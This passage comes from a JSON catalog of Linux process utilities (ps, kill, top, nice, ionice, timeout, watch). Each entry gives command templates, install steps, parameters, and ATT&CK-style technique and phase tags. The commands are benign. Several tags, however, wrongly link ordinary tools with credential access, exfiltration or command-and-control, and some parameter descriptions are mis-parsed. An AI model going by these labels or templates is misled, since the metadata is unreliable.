        "required": false,
        "default_value": null,
        "description": "show output in bytes",
        "aliases": [
          "-b",
          "--bytes"
        ],
        "flag": "-b"
      },
      {
        "name": "kilo",
        "template_key": "kilo",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show output in kilobytes",
        "aliases": [
          "--kilo"
        ],
        "flag": "--kilo"
      },
      {
        "name": "mega",
        "template_key": "mega",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show output in megabytes",
        "aliases": [
          "--mega"
        ],
        "flag": "--mega"
      },
      {
        "name": "giga",
        "template_key": "giga",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show output in gigabytes",
        "aliases": [
          "--giga"
        ],
        "flag": "--giga"
      },
      {
        "name": "tera",
        "template_key": "tera",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show output in terabytes",
        "aliases": [
          "--tera"
        ],
        "flag": "--tera"
      },
      {
        "name": "peta",
        "template_key": "peta",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show output in petabytes",
        "aliases": [
          "--peta"
        ],
        "flag": "--peta"
      },
      {
        "name": "kibi",
        "template_key": "kibi",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show output in kibibytes",
        "aliases": [
          "-k",
          "--kibi"
        ],
        "flag": "-k"
      },
      {
        "name": "mebi",
        "template_key": "mebi",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show output in mebibytes",
        "aliases": [
          "-m",
          "--mebi"
        ],
        "flag": "-m"
      },
      {
        "name": "gibi",
        "template_key": "gibi",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show output in gibibytes",
        "aliases": [
          "-g",
          "--gibi"
        ],
        "flag": "-g"
      },
      {
        "name": "tebi",
        "template_key": "tebi",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show output in tebibytes",
        "aliases": [
          "--tebi"
        ],
        "flag": "--tebi"
      },
      {
        "name": "pebi",
        "template_key": "pebi",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show output in pebibytes",
        "aliases": [
          "--pebi"
        ],
        "flag": "--pebi"
      },
      {
        "name": "human",
        "template_key": "human",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show human-readable output",
        "aliases": [
          "-h",
          "--human"
        ],
        "flag": "-h"
      },
      {
        "name": "si",
        "template_key": "si",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use powers of 1000 not 1024",
        "aliases": [
          "--si"
        ],
        "flag": "--si"
      },
      {
        "name": "lohi",
        "template_key": "lohi",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show detailed low and high memory statistics",
        "aliases": [
          "-l",
          "--lohi"
        ],
        "flag": "-l"
      },
      {
        "name": "line",
        "template_key": "line",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show output on a single line",
        "aliases": [
          "-L",
          "--line"
        ],
        "flag": "-L"
      },
      {
        "name": "total",
        "template_key": "total",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show total for RAM + swap",
        "aliases": [
          "-t",
          "--total"
        ],
        "flag": "-t"
      },
      {
        "name": "committed",
        "template_key": "committed",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show committed memory and commit limit",
        "aliases": [
          "-v",
          "--committed"
        ],
        "flag": "-v"
      },
      {
        "name": "seconds N",
        "template_key": "seconds-n",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "repeat printing every N seconds",
        "aliases": [
          "-s",
          "--seconds N"
        ],
        "flag": "-s"
      },
      {
        "name": "count N",
        "template_key": "count-n",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "repeat printing N times, then exit",
        "aliases": [
          "-c",
          "--count N"
        ],
        "flag": "-c"
      },
      {
        "name": "wide",
        "template_key": "wide",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "wide output",
        "aliases": [
          "-w",
          "--wide"
        ],
        "flag": "-w"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display this help and exit",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "version",
        "template_key": "version",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-V",
          "--version"
        ],
        "flag": "-V"
      }
    ],
    "phase": "post-exploitation",
    "platforms": [
      "linux"
    ],
    "risk_level": "low",
    "techniques": [
      "execution",
      "impact",
      "command-and-control",
      "defense-evasion",
      "lateral-movement",
      "process-manip"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n# ionice — Set/get I/O scheduling class and priority\n\n## Overview\n\n`ionice` is a command-line utility for set/get i/o scheduling class and priority.\n\n## Usage\n\n```\nionice -c {class} -n {classdata} -p {pid} -P {pgid} -t {ignore}\n```\n",
    "_source": "ionice.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.process.ionice",
      "system.process.list",
      "system.process.signal",
      "system.process.monitor"
    ],
    "description": "Set/get I/O scheduling class and priority",
    "examples": [
      {
        "description": "Display help message",
        "command": "ionice --help"
      }
    ],
    "execution": {
      "template": "ionice -c {class} -n {classdata} -p {pid} -P {pgid} -t {ignore}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "process-manip"
    ],
    "id": "system-process-ionice",
    "install": [
      {
        "method": "apt",
        "package_name": "util-linux",
        "commands": [
          "apt-get install -y util-linux"
        ]
      }
    ],
    "mitre_ids": [
      "T1059"
    ],
    "name": "ionice",
    "namespace": "system:process:ionice",
    "parameters": [
      {
        "name": "class",
        "template_key": "class",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "name or number of scheduling class",
        "aliases": [
          "-c",
          "--class <class>"
        ],
        "flag": "-c"
      },
      {
        "name": "classdata",
        "template_key": "classdata",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "only for the realtime and best-effort classes",
        "aliases": [
          "-n",
          "--classdata <num>"
        ],
        "flag": "-n"
      },
      {
        "name": "pid",
        "template_key": "pid",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "act on these already running processes",
        "aliases": [
          "-p",
          "--pid <pid>"
        ],
        "flag": "-p"
      },
      {
        "name": "pgid",
        "template_key": "pgid",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "act on already running processes in these groups",
        "aliases": [
          "-P",
          "--pgid <pgrp>"
        ],
        "flag": "-P"
      },
      {
        "name": "ignore",
        "template_key": "ignore",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "ignore failures",
        "aliases": [
          "-t",
          "--ignore"
        ],
        "flag": "-t"
      },
      {
        "name": "uid",
        "template_key": "uid",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "act on already running processes owned by these users",
        "aliases": [
          "-u",
          "--uid <uid>"
        ],
        "flag": "-u"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display this help",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      },
      {
        "name": "version",
        "template_key": "version",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display version",
        "aliases": [
          "-V",
          "--version"
        ],
        "flag": "-V"
      }
    ],
    "platforms": [
      "linux"
    ],
    "related_tools": [
      "system-process-nice"
    ],
    "risk_level": "low",
    "techniques": [
      "execution",
      "impact"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n# kill — Send signals to processes\n\n## Overview\n\n`kill` is a command-line utility for send signals to processes.\n\n## Usage\n\n```\nkill -s {flag-s} -n {flag-n} -l {flag-l}\n```\n",
    "_source": "kill.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.process.kill",
      "system.process.list",
      "system.process.signal",
      "system.process.monitor"
    ],
    "description": "Send signals to processes",
    "examples": [
      {
        "description": "Basic usage with flag-s",
        "command": "kill ${flag-s}"
      },
      {
        "description": "Display help message",
        "command": "kill --help"
      }
    ],
    "execution": {
      "template": "kill -s {flag-s} -n {flag-n} -l {flag-l}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "process-manip"
    ],
    "id": "system-process-kill",
    "install": [
      {
        "method": "apt",
        "package_name": "procps",
        "commands": [
          "apt-get install -y procps"
        ]
      }
    ],
    "mitre_ids": [
      "T1059"
    ],
    "name": "kill",
    "namespace": "system:process:kill",
    "parameters": [
      {
        "name": "flag-s",
        "template_key": "flag-s",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "SIG is a signal name",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-n",
        "template_key": "flag-n",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "SIG is a signal number",
        "aliases": [
          "-n"
        ],
        "flag": "-n"
      },
      {
        "name": "flag-l",
        "template_key": "flag-l",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "list the signal names; if arguments follow `-l' they are",
        "aliases": [
          "-l"
        ],
        "flag": "-l"
      }
    ],
    "platforms": [
      "linux"
    ],
    "related_tools": [
      "system-process-ps"
    ],
    "risk_level": "high",
    "techniques": [
      "execution",
      "impact",
      "process-termination",
      "persistence"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n# nice — Run a program with modified scheduling priority\n\n## Overview\n\n`nice` is a command-line utility for run a program with modified scheduling priority.\n\n## Usage\n\n```\nnice -2 {flag-2} -n {adjustment}\n```\n",
    "_source": "nice.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.process.nice",
      "system.process.list",
      "system.process.signal",
      "system.process.monitor"
    ],
    "description": "Run a program with modified scheduling priority",
    "examples": [
      {
        "description": "Basic usage with flag-2",
        "command": "nice ${flag-2}"
      },
      {
        "description": "Display help message",
        "command": "nice --help"
      }
    ],
    "execution": {
      "template": "nice -2 {flag-2} -n {adjustment}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "process-manip"
    ],
    "id": "system-process-nice",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      }
    ],
    "mitre_ids": [
      "T1059"
    ],
    "name": "nice",
    "namespace": "system:process:nice",
    "parameters": [
      {
        "name": "adjustment",
        "template_key": "adjustment",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "add integer N to the niceness (default 10) --help display this help and exit --version output version information and exit",
        "aliases": [
          "-n",
          "--adjustment"
        ],
        "flag": "-n"
      },
      {
        "name": "flag-2",
        "template_key": "flag-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-2"
        ],
        "flag": "-2"
      },
      {
        "name": "help",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "version",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      }
    ],
    "platforms": [
      "linux"
    ],
    "related_tools": [
      "system-process-ionice"
    ],
    "risk_level": "low",
    "techniques": [
      "execution",
      "impact",
      "command-and-control",
      "credential-access",
      "defense-evasion",
      "lateral-movement",
      "process-manip"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n# ps — Report process status\n\n## Overview\n\n`ps` is a command-line utility for report process status.\n\n## Usage\n\n```\nps -A {flag-a} -a {flag-a} -d {flag-d} -N {deselect} -C {flag-c}\n```\n",
    "_source": "ps.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.process.ps",
      "system.process.list",
      "system.process.signal",
      "system.process.monitor"
    ],
    "description": "Report process status",
    "examples": [
      {
        "description": "Basic usage with flag-A",
        "command": "ps ${flag-A}"
      },
      {
        "description": "Display help message",
        "command": "ps --help"
      }
    ],
    "execution": {
      "template": "ps -A {flag-a} -a {flag-a} -d {flag-d} -N {deselect} -C {flag-c}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "process-manip"
    ],
    "id": "system-process-ps",
    "install": [
      {
        "method": "apt",
        "package_name": "procps",
        "commands": [
          "apt-get install -y procps"
        ]
      }
    ],
    "mitre_ids": [
      "T1059"
    ],
    "name": "ps",
    "namespace": "system:process:ps",
    "parameters": [
      {
        "name": "Group",
        "template_key": "group",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "real group id or name",
        "aliases": [
          "-G",
          "--Group <GID>"
        ],
        "flag": "-G"
      },
      {
        "name": "H",
        "type": "boolean",
        "required": false,
        "description": "show process hierarchy",
        "aliases": [
          "-H"
        ],
        "flag": "-H"
      },
      {
        "name": "User",
        "template_key": "user",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "real user id or name",
        "aliases": [
          "-U",
          "--User <UID>"
        ],
        "flag": "-U"
      },
      {
        "name": "cols",
        "template_key": "cols",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "set screen width --rows, --lines <num> set screen height --signames display signal masks using signal names",
        "aliases": [
          "--cols",
          "--columns",
          "--width <num>"
        ],
        "flag": "--cols"
      },
      {
        "name": "context",
        "template_key": "context",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display security context (for SELinux)",
        "aliases": [
          "--context"
        ],
        "flag": "--context"
      },
      {
        "name": "deselect",
        "template_key": "deselect",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "negate selection",
        "aliases": [
          "-N",
          "--deselect"
        ],
        "flag": "-N"
      },
      {
        "name": "flag-A",
        "template_key": "flag-a",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "all processes",
        "aliases": [
          "-A",
          "-e"
        ],
        "flag": "-A"
      },
      {
        "name": "flag-C",
        "template_key": "flag-c",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "command name",
        "aliases": [
          "-C"
        ],
        "flag": "-C"
      },
      {
        "name": "flag-D",
        "template_key": "flag-d",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "date format for lstart",
        "aliases": [
          "-D"
        ],
        "flag": "-D"
      },
      {
        "name": "flag-M",
        "template_key": "flag-m",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "add security data (for SELinux)",
        "aliases": [
          "-M"
        ],
        "flag": "-M"
      },
      {
        "name": "flag-O",
        "template_key": "flag-o",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "preloaded with default columns",
        "aliases": [
          "-O"
        ],
        "flag": "-O"
      },
      {
        "name": "flag-a",
        "template_key": "flag-a",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "all with tty, except session leaders",
        "aliases": [
          "-a"
        ],
        "flag": "-a"
      },
      {
        "name": "flag-c",
        "template_key": "flag-c",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show scheduling class with -l option",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-d",
        "template_key": "flag-d",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "all except session leaders",
        "aliases": [
          "-d"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-f",
        "template_key": "flag-f",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "full-format, including command lines",
        "aliases": [
          "-f"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-j",
        "template_key": "flag-j",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "jobs format",
        "aliases": [
          "-j"
        ],
        "flag": "-j"
      },
      {
        "name": "flag-l",
        "template_key": "flag-l",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "long format",
        "aliases": [
          "-l"
        ],
        "flag": "-l"
      },
      {
        "name": "flag-m",
        "template_key": "flag-m",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "after processes",
        "aliases": [
          "-m"
        ],
        "flag": "-m"
      },
      {
        "name": "flag-w",
        "template_key": "flag-w",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "unlimited output width",
        "aliases": [
          "-w"
        ],
        "flag": "-w"
      },
      {
        "name": "flag-y",
        "template_key": "flag-y",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "do not show flags, show rss vs. addr (used with -l)",
        "aliases": [
          "-y"
        ],
        "flag": "-y"
      },
      {
        "name": "flag-y-2",
        "template_key": "flag-y-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "do not show flags, show rss (only with -l)",
        "aliases": [
          "-y"
        ],
        "flag": "-y"
      },
      {
        "name": "format",
        "template_key": "format",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "user-defined format",
        "aliases": [
          "-o",
          "--format <format>"
        ],
        "flag": "-o"
      },
      {
        "name": "group",
        "template_key": "group",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-g",
          "--group <group>"
        ],
        "flag": "-g"
      },
      {
        "name": "headers",
        "template_key": "headers",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "repeat header lines, one per page",
        "aliases": [
          "--headers"
        ],
        "flag": "--headers"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display help and exit",
        "aliases": [
          "--help <simple|list|output|threads|misc|all>"
        ],
        "flag": "--help"
      },
      {
        "name": "no-headers",
        "template_key": "no-headers",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "do not print header at all",
        "aliases": [
          "--no-headers"
        ],
        "flag": "--no-headers"
      },
      {
        "name": "pid",
        "template_key": "pid",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "process id",
        "aliases": [
          "-p",
          "--pid <PID>"
        ],
        "flag": "-p"
      },
      {
        "name": "ppid",
        "template_key": "ppid",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--ppid <PID>"
        ],
        "flag": "--ppid"
      },
      {
        "name": "quick-pid",
        "template_key": "quick-pid",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "process id (quick mode)",
        "aliases": [
          "-q",
          "--quick-pid <PID>"
        ],
        "flag": "-q"
      },
      {
        "name": "rows",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--rows",
          "--lines"
        ],
        "flag": "--rows"
      },
      {
        "name": "sid",
        "template_key": "sid",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-s",
          "--sid <session>"
        ],
        "flag": "-s"
      },
      {
        "name": "signames",
        "type": "boolean",
        "required": false,
        "description": "display signal masks using signal names",
        "aliases": [
          "--signames"
        ],
        "flag": "--signames"
      },
      {
        "name": "tty",
        "template_key": "tty",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "terminal",
        "aliases": [
          "-t",
          "--tty <tty>"
        ],
        "flag": "-t"
      },
      {
        "name": "user",
        "template_key": "user",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-u",
          "--user <UID>"
        ],
        "flag": "-u"
      },
      {
        "name": "version",
        "template_key": "version",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display version information and exit",
        "aliases": [
          "-V",
          "--version"
        ],
        "flag": "-V"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux"
    ],
    "related_tools": [
      "system-process-kill"
    ],
    "risk_level": "low",
    "techniques": [
      "execution",
      "impact",
      "process-discovery",
      "discovery",
      "command-and-control",
      "credential-access",
      "defense-evasion",
      "enumeration",
      "exfiltration",
      "lateral-movement",
      "persistence",
      "process-manip"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n# timeout — Run a command with a time limit\n\n## Overview\n\n`timeout` is a command-line utility for run a command with a time limit.\n\n## Usage\n\n```\ntimeout -f {foreground} -k {kill-after} -p {preserve-status} -s {signal} -v {verbose}\n```\n",
    "_source": "timeout.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.process.timeout",
      "system.process.list",
      "system.process.signal",
      "system.process.monitor"
    ],
    "description": "Run a command with a time limit",
    "examples": [
      {
        "description": "Display help message",
        "command": "timeout --help"
      }
    ],
    "execution": {
      "template": "timeout -f {foreground} -k {kill-after} -p {preserve-status} -s {signal} -v {verbose}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "process-manip"
    ],
    "id": "system-process-timeout",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      }
    ],
    "mitre_ids": [
      "T1059"
    ],
    "name": "timeout",
    "namespace": "system:process:timeout",
    "parameters": [
      {
        "name": "foreground",
        "template_key": "foreground",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "when not running timeout directly from a shell prompt, allow COMMAND to read from the TTY and get TTY signals; in this mode, children of COMMAND will not be timed out",
        "aliases": [
          "-f",
          "--foreground"
        ],
        "flag": "-f"
      },
      {
        "name": "help",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "kill-after",
        "template_key": "kill-after",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "also send a KILL signal if COMMAND is still running this long after the initial signal was sent",
        "aliases": [
          "-k",
          "--kill-after"
        ],
        "flag": "-k"
      },
      {
        "name": "preserve-status",
        "template_key": "preserve-status",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "exit with the same status as COMMAND, even when the command times out",
        "aliases": [
          "-p",
          "--preserve-status"
        ],
        "flag": "-p"
      },
      {
        "name": "signal",
        "template_key": "signal",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "specify the signal to be sent on timeout; SIGNAL may be a name like 'HUP' or a number; see 'kill -l' for a list of signals",
        "aliases": [
          "-s",
          "--signal"
        ],
        "flag": "-s"
      },
      {
        "name": "verbose",
        "template_key": "verbose",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "diagnose to standard error any signal sent upon timeout --help display this help and exit --version output version information and exit",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "version",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      }
    ],
    "platforms": [
      "linux"
    ],
    "risk_level": "low",
    "techniques": [
      "execution",
      "impact"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n# top — Display Linux processes\n\n## Overview\n\n`top` is a command-line utility for display linux processes.\n\n## Usage\n\n```\ntop -b {batch-mode} -c {cmdline-toggle} -d {delay} -E {scale-summary-mem} -e {scale-task-mem}\n```\n",
    "_source": "top.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.process.top",
      "system.process.list",
      "system.process.signal",
      "system.process.monitor"
    ],
    "description": "Display Linux processes",
    "examples": [
      {
        "description": "Basic usage with batch-mode",
        "command": "top ${batch-mode}"
      },
      {
        "description": "Display help message",
        "command": "top --help"
      }
    ],
    "execution": {
      "template": "top -b {batch-mode} -c {cmdline-toggle} -d {delay} -E {scale-summary-mem} -e {scale-task-mem}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "process-manip",
      "streaming"
    ],
    "id": "system-process-top",
    "install": [
      {
        "method": "apt",
        "package_name": "procps",
        "commands": [
          "apt-get install -y procps"
        ]
      }
    ],
    "mitre_ids": [
      "T1059"
    ],
    "name": "top",
    "namespace": "system:process:top",
    "parameters": [
      {
        "name": "batch-mode",
        "template_key": "batch-mode",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "run in non-interactive batch mode",
        "aliases": [
          "-b",
          "--batch-mode"
        ],
        "flag": "-b"
      },
      {
        "name": "cmdline-toggle",
        "template_key": "cmdline-toggle",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "reverse last remembered 'c' state",
        "aliases": [
          "-c",
          "--cmdline-toggle"
        ],
        "flag": "-c"
      },
      {
        "name": "delay",
        "template_key": "delay",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "iterative delay as SECS [.TENTHS]",
        "aliases": [
          "-d",
          "--delay"
        ],
        "flag": "-d"
      },
      {
        "name": "scale-summary-mem",
        "template_key": "scale-summary-mem",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-E",
          "--scale-summary-mem"
        ],
        "flag": "-E"
      },
      {
        "name": "scale-task-mem",
        "template_key": "scale-task-mem",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "set mem with: k,m,g,t,p for SCALE",
        "aliases": [
          "-e",
          "--scale-task-mem"
        ],
        "flag": "-e"
      },
      {
        "name": "threads-show",
        "template_key": "threads-show",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show tasks plus all their threads",
        "aliases": [
          "-H",
          "--threads-show"
        ],
        "flag": "-H"
      },
      {
        "name": "idle-toggle",
        "template_key": "idle-toggle",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "reverse last remembered 'i' state",
        "aliases": [
          "-i",
          "--idle-toggle"
        ],
        "flag": "-i"
      },
      {
        "name": "iterations",
        "template_key": "iterations",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "exit on maximum iterations NUMBER",
        "aliases": [
          "-n",
          "--iterations"
        ],
        "flag": "-n"
      },
      {
        "name": "list-fields",
        "template_key": "list-fields",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output all field names, then exit",
        "aliases": [
          "-O",
          "--list-fields"
        ],
        "flag": "-O"
      },
      {
        "name": "sort-override",
        "template_key": "sort-override",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "force sorting on this named FIELD",
        "aliases": [
          "-o",
          "--sort-override"
        ],
        "flag": "-o"
      },
      {
        "name": "pid",
        "template_key": "pid",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "monitor only the tasks in PIDLIST",
        "aliases": [
          "-p",
          "--pid"
        ],
        "flag": "-p"
      },
      {
        "name": "accum-time-toggle",
        "template_key": "accum-time-toggle",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "reverse last remembered 'S' state",
        "aliases": [
          "-S",
          "--accum-time-toggle"
        ],
        "flag": "-S"
      },
      {
        "name": "secure-mode",
        "template_key": "secure-mode",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "run with secure mode restrictions",
        "aliases": [
          "-s",
          "--secure-mode"
        ],
        "flag": "-s"
      },
      {
        "name": "filter-any-user",
        "template_key": "filter-any-user",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show only processes owned by USER",
        "aliases": [
          "-U",
          "--filter-any-user"
        ],
        "flag": "-U"
      },
      {
        "name": "filter-only-euser",
        "template_key": "filter-only-euser",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show only processes owned by USER",
        "aliases": [
          "-u",
          "--filter-only-euser"
        ],
        "flag": "-u"
      },
      {
        "name": "width",
        "template_key": "width",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "change print width [,use COLUMNS]",
        "aliases": [
          "-w",
          "--width ["
        ],
        "flag": "-w"
      },
      {
        "name": "single-cpu-toggle",
        "template_key": "single-cpu-toggle",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "reverse last remembered '1' state",
        "aliases": [
          "-1",
          "--single-cpu-toggle"
        ],
        "flag": "-1"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display this help text, then exit",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      },
      {
        "name": "version",
        "template_key": "version",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output version information & exit",
        "aliases": [
          "-V",
          "--version"
        ],
        "flag": "-V"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux"
    ],
    "risk_level": "low",
    "techniques": [
      "execution",
      "impact",
      "command-and-control",
      "credential-access",
      "defense-evasion",
      "lateral-movement",
      "persistence",
      "process-manip"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n# watch — Execute a program periodically\n\n## Overview\n\n`watch` is a command-line utility for execute a program periodically.\n\n## Usage\n\n```\nwatch -b {beep} -c {color} -C {no-color} -d {differences} -e {errexit}\n```\n",
    "_source": "watch.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.process.watch",
      "system.process.list",
      "system.process.signal",
      "system.process.monitor"
    ],
    "description": "Execute a program periodically",
    "examples": [
      {
        "description": "Basic usage with beep",
        "command": "watch ${beep}"
      },
      {
        "description": "Display help message",
        "command": "watch --help"
      }
    ],
    "execution": {
      "template": "watch -b {beep} -c {color} -C {no-color} -d {differences} -e {errexit}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "process-manip",
      "streaming"
    ],
    "id": "system-process-watch",
    "install": [
      {
        "method": "apt",
        "package_name": "procps",
        "commands": [
          "apt-get install -y procps"
        ]
      }
    ],
    "mitre_ids": [
      "T1059"
    ],
    "name": "watch",
    "namespace": "system:process:watch",
    "parameters": [
      {
        "name": "beep",
        "template_key": "beep",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "beep if command has a non-zero exit",
        "aliases": [
          "-b",
          "--beep"
        ],
        "flag": "-b"
      },
      {
        "name": "color",
        "template_key": "color",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "interpret ANSI color and style sequences",
        "aliases": [
          "-c",
          "--color"
        ],
        "flag": "-c"
      },
      {
        "name": "no-color",
        "template_key": "no-color",
        "type": "string",
